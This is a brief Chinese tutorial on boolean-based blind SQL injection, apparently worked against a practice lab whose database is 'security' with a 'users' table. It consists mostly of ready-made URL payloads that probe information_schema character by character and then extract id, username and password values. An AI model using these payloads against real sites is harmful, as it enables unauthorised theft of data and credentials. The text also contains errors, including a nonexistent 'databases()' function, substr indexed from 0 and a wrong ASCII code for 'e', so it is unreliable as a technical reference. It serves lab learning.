一、判断注入类型:布尔型单引号盲注。
判断:
?id=1' and 1=1%23 You are in......
?id=1' and 1=2%23 无显示


二、爆数据库
?id=1 and ascii(substr(databases(),0,1))>0--+
假设是security,依次试验‘s’、‘e’、‘c’、‘u’、‘r’、‘i’、‘t’、‘y’








最后测试第九位是0,如果返回正确则成立。

三、爆数据库
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),0,1))>0--+

爆第一个数据表,通过调整limit x,1的位置来判断数据表数量,ascii(‘ ’,y,1)判断第x个表的第y位是否有内容。
如测出第一个表,有6位,依次实验其他表。

以第四个表为例,通过测试是5个元素,假设是users表。测得第一个是u(ascii码 117),依次测试‘s’(115)、‘e’(107)、‘r’(114)、‘s’(115)。

四、爆列
?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),0,1))>0--+
首先测试列数:3,通过改变limit的取值位置。然后测试各列的元素个数,以第一个为例:当到第3个报错,说明是两个元素,假设是id(ascii 105,100),验证。



五、爆具体库表数据信息
和上面一样,通过不断测试,确定元素个数和元素内容。
?id=1'and ascii(substring((select id from users limit 0,1),1,1))>0--+
?id=1'and ascii(substring((select password from users limit 0,1),1,1))>0--+
?id=1'and ascii(substring((select username from users limit 0,1),1,1))>0--+